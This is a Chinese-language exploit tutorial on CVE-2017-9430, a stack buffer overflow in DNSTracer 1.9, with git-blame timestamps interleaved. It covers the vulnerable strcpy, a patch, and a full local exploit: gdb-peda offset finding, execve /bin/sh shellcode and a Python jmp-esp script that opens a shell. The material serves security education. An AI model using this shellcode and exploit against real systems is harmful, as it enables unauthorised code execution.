2018-02-11 20:41:31 +07:00
# 7.1.6 [CVE-2017-9430] DNSTracer 1.9 Buffer Overflow
- [漏洞描述 ](#漏洞描述 )
- [漏洞复现 ](#漏洞复现 )
- [漏洞分析 ](#漏洞分析 )
2018-02-13 09:23:28 +07:00
- [Exploit ](#exploit )
2018-02-11 20:41:31 +07:00
- [参考资料 ](#参考资料 )
[下载文件 ](../src/exploit/7.1.6_dnstracer_2017-9430 )
## 漏洞描述
2018-02-13 09:23:28 +07:00
DNSTracer 是一个用来跟踪 DNS 解析过程的应用程序。DNSTracer 1.9 及之前的版本中存在栈缓冲区溢出漏洞。攻击者可借助带有较长参数的命令行利用该漏洞造成拒绝服务攻击。
2018-02-11 20:41:31 +07:00
## 漏洞复现
2018-02-13 09:23:28 +07:00
| |推荐使用的环境 | 备注 |
| --- | --- | --- |
2018-02-13 13:48:21 +07:00
| 操作系统 | Ubuntu 12.04 | 体系结构: 32 位 |
| 调试器 | gdb-peda| 版本号: 7.4 |
2018-02-13 09:23:28 +07:00
| 漏洞软件 | DNSTracer | 版本号: 1.9 |
首先编译安装 DNSTracer:
```
$ wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz
$ tar zxvf dnstracer-1.9.tar.gz
$ cd dnstracer-1.9
$ ./confugure
$ make & & sudo make install
```
传入一段超长的字符串作为参数即可触发栈溢出:
```
$ dnstracer -v $(python -c 'print "A"*1025')
*** buffer overflow detected ** *: dnstracer terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x67377)[0xb757f377]
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x68)[0xb760f6b8]
/lib/i386-linux-gnu/libc.so.6(+0xf58a8)[0xb760d8a8]
/lib/i386-linux-gnu/libc.so.6(+0xf4e9f)[0xb760ce9f]
dnstracer[0x8048f26]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf7)[0xb7530637]
dnstracer[0x804920a]
======= Memory map: ========
08048000-0804e000 r-xp 00000000 08:01 270483 /usr/local/bin/dnstracer
0804f000-08050000 r--p 00006000 08:01 270483 /usr/local/bin/dnstracer
08050000-08051000 rw-p 00007000 08:01 270483 /usr/local/bin/dnstracer
08051000-08053000 rw-p 00000000 00:00 0
084b6000-084d7000 rw-p 00000000 00:00 0 [heap]
b74e4000-b7500000 r-xp 00000000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1
b7500000-b7501000 rw-p 0001b000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1
b7518000-b76c8000 r-xp 00000000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
b76c8000-b76ca000 r--p 001af000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
b76ca000-b76cb000 rw-p 001b1000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
b76cb000-b76ce000 rw-p 00000000 00:00 0
b76e4000-b76e7000 rw-p 00000000 00:00 0
b76e7000-b76e9000 r--p 00000000 00:00 0 [vvar]
b76e9000-b76eb000 r-xp 00000000 00:00 0 [vdso]
b76eb000-b770d000 r-xp 00000000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
b770d000-b770e000 rw-p 00000000 00:00 0
b770e000-b770f000 r--p 00022000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
b770f000-b7710000 rw-p 00023000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
bf8e5000-bf907000 rw-p 00000000 00:00 0 [stack]
Aborted (core dumped)
```
2018-02-11 20:41:31 +07:00
## 漏洞分析
2018-02-13 09:23:28 +07:00
这个漏洞非常简单也非常典型,发生原因是在把参数 `argv[0]` 复制到数组 `argv0` 的时候没有做长度检查,如果大于 1024 字节,就会导致栈溢出:
```c
// dnstracer.c
int
main(int argc, char **argv)
{
[...]
char argv0[NS_MAXDNAME];
[...]
strcpy(argv0, argv[0]);
```
```c
// dnstracer_broker.h
#ifndef NS_MAXDNAME
#define NS_MAXDNAME 1024
#endif
```
#### 补丁
要修这个漏洞的话,在调用 `strcpy()` 前加上对参数长度的检查就可以了:
```c
/*CVE-2017-9430 Fix*/
if(strlen(argv[0]) >= NS_MAXDNAME)
{
free(server_ip);
free(server_name);
fprintf(stderr, "dnstracer: argument is too long %s\n", argv[0]);
return 1;
}
// check for a trailing dot
strcpy(argv0, argv[0]);
```
## Exploit
2018-02-13 13:48:21 +07:00
首先修改 Makefile, 关掉栈保护, 同时避免 gcc 使用安全函数 `__strcpy_chk()` 替换 `strcpy()` ,修改编译选项如下:
2018-02-13 09:23:28 +07:00
```
$ cat Makefile | grep -w CC
CC = gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0
COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
CCLD = $(CC)
$ make & & sudo make install
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
```
2018-02-13 13:48:21 +07:00
最后关掉 ASLR:
```
# echo 0 > /proc/sys/kernel/randomize_va_space
```
2018-02-13 09:23:28 +07:00
因为漏洞发生在 main 函数中,堆栈的布置比起在子函数里也要复杂一些。大体过程和前面写过的一篇 wget 溢出漏洞差不多,但那一篇是 64 位程序,所以这里选择展示一下 32 位程序。
在 gdb 里进行调试,利用 pattern 确定溢出位置, 1060 字节就足够了:
```
gdb-peda$ pattern_create 1060
gdb-peda$ pattern_offset $ebp
1849771630 found at offset: 1049
```
所以返回地址位于栈偏移 `1049+4=1053` 的地方。
```
2018-02-13 13:48:21 +07:00
gdb-peda$ disassemble main
0x08048df8 < +808>: mov DWORD PTR [esp+0x4],edi
0x08048dfc < +812>: mov DWORD PTR [esp],ebx
0x08048dff < +815>: call 0x8048950 < strcpy @ plt >
0x08048e04 < +820>: xor eax,eax
0x08048e06 < +822>: mov ecx,esi
...
0x08048f6e < +1182>: mov DWORD PTR [esp+0x4],esi
0x08048f72 < +1186>: call 0x804adb0 < create_session >
0x08048f77 < +1191>: mov DWORD PTR [esp],0xa
```
在下面几个地方下断点,并根据偏移调整我们的输入:
```
gdb-peda$ b *main+815
gdb-peda$ b *main+820
gdb-peda$ b *main+1186
2018-02-13 09:23:28 +07:00
gdb-peda$ r `perl -e 'print "A"x1053 . "BBBB"'`
[----------------------------------registers-----------------------------------]
EAX: 0x1
2018-02-13 13:48:21 +07:00
EBX: 0xbfffeb3f --> 0xffed9cb7
ECX: 0x0
EDX: 0xb7fc7180 --> 0x0
ESI: 0xffffffff
EDI: 0xbffff174 ('A' < repeats 200 times > ...)
EBP: 0xbfffef58 --> 0x0
ESP: 0xbfffe6d0 --> 0xbfffeb3f --> 0xffed9cb7
EIP: 0x8048dff (< main + 815 > : call 0x8048950 < strcpy @ plt > )
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
2018-02-13 09:23:28 +07:00
[-------------------------------------code-------------------------------------]
2018-02-13 13:48:21 +07:00
0x8048df1 < main + 801 > : lea ebx,[esp+0x46f]
0x8048df8 < main + 808 > : mov DWORD PTR [esp+0x4],edi
0x8048dfc < main + 812 > : mov DWORD PTR [esp],ebx
=> 0x8048dff < main + 815 > : call 0x8048950 < strcpy @ plt >
0x8048e04 < main + 820 > : xor eax,eax
0x8048e06 < main + 822 > : mov ecx,esi
0x8048e08 < main + 824 > : repnz scas al,BYTE PTR es:[edi]
0x8048e0a < main + 826 > : not ecx
2018-02-13 09:23:28 +07:00
Guessed arguments:
2018-02-13 13:48:21 +07:00
arg[0]: 0xbfffeb3f --> 0xffed9cb7
arg[1]: 0xbffff174 ('A' < repeats 200 times > ...)
2018-02-13 09:23:28 +07:00
[------------------------------------stack-------------------------------------]
2018-02-13 13:48:21 +07:00
0000| 0xbfffe6d0 --> 0xbfffeb3f --> 0xffed9cb7
0004| 0xbfffe6d4 --> 0xbffff174 ('A' < repeats 200 times > ...)
0008| 0xbfffe6d8 --> 0x804be37 ("4cCoq:r:S:s:t:v")
0012| 0xbfffe6dc --> 0x0
0016| 0xbfffe6e0 --> 0x0
0020| 0xbfffe6e4 --> 0x0
0024| 0xbfffe6e8 --> 0x0
0028| 0xbfffe6ec --> 0x0
2018-02-13 09:23:28 +07:00
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
2018-02-13 13:48:21 +07:00
Breakpoint 1, 0x08048dff in main (argc=< optimized out > , argv=< optimized out > ) at dnstracer.c:1622
2018-02-13 09:23:28 +07:00
1622 strcpy(argv0, argv[0]);
gdb-peda$ x/10wx argv0
2018-02-13 13:48:21 +07:00
0xbfffeb3f: 0xffed9cb7 0x000000bf 0x00000100 0x00000200
0xbfffeb4f: 0xe33b9700 0xfdcac0b7 0x000000b7 0xffeff400
0xbfffeb5f: 0xe24e08b7 0x000001b7
2018-02-13 09:23:28 +07:00
```
2018-02-13 13:48:21 +07:00
所以栈位于 `0xbfffeb3f` ,执行这一行代码即可将 `0xbffff174` 处的 "A" 字符串复制到 `argv0` 数组中:
2018-02-13 09:23:28 +07:00
```
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xbfffe6bf ('A' < repeats 200 times > ...)
EBX: 0xbfffe6bf ('A' < repeats 200 times > ...)
ECX: 0xbffff1d0 ("BBBB")
EDX: 0xbfffeadc ("BBBB")
ESI: 0x0
EDI: 0xbfffedb3 ('A' < repeats 200 times > ...)
EBP: 0xbfffead8 ("AAAABBBB")
ESP: 0xbfffe290 --> 0xbfffe6bf ('A' < repeats 200 times > ...)
EIP: 0x8048dba (< main + 794 > : mov ecx,DWORD PTR [ebp-0x82c])
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048db3 < main + 787 > : push edi
0x8048db4 < main + 788 > : push ebx
0x8048db5 < main + 789 > : call 0x8048920 < strcpy @ plt >
=> 0x8048dba < main + 794 > : mov ecx,DWORD PTR [ebp-0x82c]
0x8048dc0 < main + 800 > : xor eax,eax
0x8048dc2 < main + 802 > : add esp,0x10
0x8048dc5 < main + 805 > : repnz scas al,BYTE PTR es:[edi]
0x8048dc7 < main + 807 > : not ecx
[------------------------------------stack-------------------------------------]
0000| 0xbfffe290 --> 0xbfffe6bf ('A' < repeats 200 times > ...)
0004| 0xbfffe294 --> 0xbfffedb3 ('A' < repeats 200 times > ...)
0008| 0xbfffe298 --> 0xffffffff
0012| 0xbfffe29c --> 0xffffffff
0016| 0xbfffe2a0 --> 0x0
0020| 0xbfffe2a4 --> 0x0
0024| 0xbfffe2a8 --> 0x8051018 ("127.0.1.1")
0028| 0xbfffe2ac --> 0xffffffff
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, main (argc=< optimized out > , argv=< optimized out > ) at dnstracer.c:1623
1623 if (argv0[strlen(argv[0]) - 1] == '.') argv0[strlen(argv[0]) - 1] = 0;
gdb-peda$ x/10wx argv0
2018-02-13 13:48:21 +07:00
0xbfffeb3f: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeb4f: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeb5f: 0x41414141 0x41414141
gdb-peda$ x/5wx argv0+1053-0x10
0xbfffef4c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffef5c: 0x42424242
```
同时字符串 "BBBB" 覆盖了返回地址。所以我们用栈地址 `0xbfffeb3f` 替换掉 "BBBB":
```
gdb-peda$ r `perl -e 'print "A"x1053 . "\x3f\xeb\xff\xbf"'`
```
```
gdb-peda$ x/5wx argv0+1053-0x10
0xbfffef4c: 0x41414141 0x41414141 0x41414141 0x41414141 < -- ebp
0xbfffef5c: 0xbfffeb3f < -- return address
```
然后就可以在栈上布置 shellcode 了,这一段 shellcode 长度为 23 字节,前面使用 nop 指令填充:
2018-02-13 09:23:28 +07:00
```
2018-02-13 13:48:21 +07:00
gdb-peda$ r `perl -e 'print "\x90"x1030 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x3f\xeb\xff\xbf"'`
gdb-peda$ x/7wx argv0+1053-23
0xbfffef45: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e < -- shellcode
0xbfffef55: 0xb0e18953 0x3f80cd0b 0x00bfffeb
2018-02-13 09:23:28 +07:00
```
2018-02-13 13:48:21 +07:00
根据计算, shellcode 位于 `0xbfffef45` 。
然而当我们执行这个程序的时候,发生了错误:
```
gdb-peda$ c
127.0.0.1 (127.0.0.1) * * *
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xbfffef54 ("/bin//sh")
ECX: 0xffffffff
EDX: 0xb7fc88b8 --> 0x0
ESI: 0xe3896e69
EDI: 0xe1895350
EBP: 0x80cd0bb0
ESP: 0xbfffef54 ("/bin//sh")
EIP: 0xbfffef55 ("bin//sh")
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xbfffef4d: push 0x6e69622f
0xbfffef52: mov ebx,esp
0xbfffef54: das
=> 0xbfffef55: bound ebp,QWORD PTR [ecx+0x6e]
0xbfffef58: das
0xbfffef59: das
0xbfffef5a: jae 0xbfffefc4
0xbfffef5c: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbfffef54 ("/bin//sh")
0004| 0xbfffef58 ("//sh")
0008| 0xbfffef5c --> 0x0
0012| 0xbfffef60 --> 0x0
0016| 0xbfffef64 --> 0xbfffeff4 --> 0xbffff15b ("/usr/local/bin/dnstracer")
0020| 0xbfffef68 --> 0xbffff000 --> 0xbffff596 ("SSH_AGENT_PID=1407")
0024| 0xbfffef6c --> 0xb7fdc858 --> 0xb7e21000 --> 0x464c457f
0028| 0xbfffef70 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xbfffef55 in ?? ()
```
错误发生在 `0xbfffef55` ,而 shellcode 位于 `0xbfffef45` ,两者相差 16 字节:
```
gdb-peda$ x/8wx 0xbfffef45
0xbfffef45: 0x6850c031 0x68732f2f 0x69622f68 0x2fe3896e
0xbfffef55: 0x2f6e6962 0x0068732f 0x00000000 0xf4000000
```
所以这里采用的解决办法是去掉前面的 16 个 nop, 将其加到 shellcode 后面。
2018-02-13 09:23:28 +07:00
```
2018-02-13 13:48:21 +07:00
gdb-peda$ r `perl -e 'print "\x90"x1014 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x16 . "\x3f\xeb\xff\xbf"'`
2018-02-13 09:23:28 +07:00
```
2018-02-13 13:48:21 +07:00
成功获得 shell。
2018-02-13 09:23:28 +07:00
```
2018-02-13 13:48:21 +07:00
gdb-peda$ c
127.0.0.1 (127.0.0.1) * * *
process 7161 is executing new program: /bin/dash
$ id
[New process 7165]
process 7165 is executing new program: /usr/bin/id
uid=1000(firmy) gid=1000(firmy) groups=1000(firmy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$ [Inferior 2 (process 7165) exited normally]
Warning: not running or target is remote
```
那如果我们开启了 ASLR 怎么办呢,一种常用的方法是利用指令 `jmp esp` 覆盖返回地址,这将使程序在返回地址的地方继续执行,从而执行跟在后面的 shellcode。利用 objdump 就可以找到这样的指令:
```
$ objdump -M intel -D /usr/local/bin/dnstracer | grep jmp | grep esp
804cc5f: ff e4 jmp esp
```
exp 如下:
```python
import os
from subprocess import call
def exp():
filling = "A"*1053
jmp_esp = "\x5f\xcc\x04\x08"
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = filling + jmp_esp + shellcode
call(["dnstracer", payload])
if __name__ == '__main__':
try:
exp()
except Exception as e:
print "Something went wrong"
```
Bingo!!!
```
$ python exp.py
Tracing to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_<41> 1<EFBFBD> Ph//shh/bin<69> <6E> PS<50> <53> <EFBFBD>
[a] via 127.0.0.1, maximum of 3 retries
127.0.0.1 (127.0.0.1) * * *
$ id
uid=1000(firmy) gid=1000(firmy) groups=1000(firmy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
```
2018-02-11 20:41:31 +07:00
## 参考资料
2018-02-13 09:23:28 +07:00
- http://www.mavetju.org/unix/dnstracer.php
2018-02-11 20:41:31 +07:00
- [CVE-2017-9430 ](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9430 )
- [DNSTracer 1.9 - Local Buffer Overflow ](https://www.exploit-db.com/exploits/42424/ )
- [DNSTracer 1.8.1 - Buffer Overflow (PoC) ](https://www.exploit-db.com/exploits/42115/ )